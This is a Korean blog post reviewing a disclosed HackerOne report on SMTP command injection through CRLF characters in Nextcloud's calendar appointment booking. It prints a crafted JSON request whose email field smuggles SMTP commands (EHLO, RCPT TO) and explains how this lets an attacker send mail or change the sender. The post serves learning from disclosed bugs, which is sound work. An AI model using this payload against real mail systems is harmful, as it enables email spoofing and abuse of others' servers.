Report Info
- URL (보고서 URL) : https://hackerone.com/reports/1509216
- Title (보고서 제목) : SMTP Command Injection in Appointment Emails via Newlines
- Reported to (신고 대상) : Nextcloud
- Reported date (보고 날짜) : 2022. 3.13
- Severity (취약 정도) : Medium (5.3)
- Weakness (취약점) : CRLF Injection
- Bounty (보상금) : None
Description
Nextcloud의 캘린더에서 제공되는 예약 기능을 통해 발생하는 취약점이다.
어떠한 사용자가 예약 캘린더 생성 기능을 이용하려고 하면 아래와 같은 요청이 생성된다.
POST /apps/calendar/appointment/1/book HTTP/2
Host: 192.168.92.132
{"start":1647306900,"end":"1647307200","displayName":"Test User","email":"<BOOKING USER'S EMAIL>","description":"Please accept!\r\n","timeZone":"Asia/Singapore"}
이 때 "eamil" 값에서 CRLF나 특수문자에 대한 검증을 따로 거치지 않아 해당 부분에 임의의 코드를 삽입할 수 있다.
{"start":1647306900,"end":"1647307200","displayName":"Test User\r\n","email":"\">\r\nEHLO a\r\nRCPT TO:<a@a.com>\"@b.com","description":"Please accept!\r\n","timeZone":"Asia/Singapore"}
위 JSON 데이터는 예약 캘린더를 생성할 때 요청 패킷의 "email" 값을 CRLF Injection을 통해 수정하여
EHLO a 명령어를 수행시키려는 것이다.
해당 취약점을 통해 이미 인증된 SMTP 세션을 탈취한 공격자가 다른 사용자에게 이메일을 보내거나, FROM 사용자를 변경하는 등의 작업을 수행할 수 있다.
느낀 점
현재 네트워크 및 프로토콜 관련 지식이 너무 부족하여 만약 내가 해당 취약점을 발견하게 되더라도
이걸 이용하여 어떤 작업을 수행하지 못했을 것 같다.
아직 아는게 너무 없는 상태임을 다시 자각했다...
'web > Bug Bounty 리포트 리뷰' 카테고리의 다른 글
| DoS attack via wp-cron.php - hackerone report #1888723 (0) | 2024.04.03 |
|---|---|
| Host Header Injection - hackerone report #1444675 (0) | 2024.04.03 |
| RCE on Wordpress website - hackerone report #2248328 (0) | 2024.04.03 |
| Presigned URL을 이용한 인증 우회 - hackerone report #2337427 (0) | 2024.04.03 |
| Unrestricted File Upload in Reddit - hackerone report #1606957 (0) | 2024.04.03 |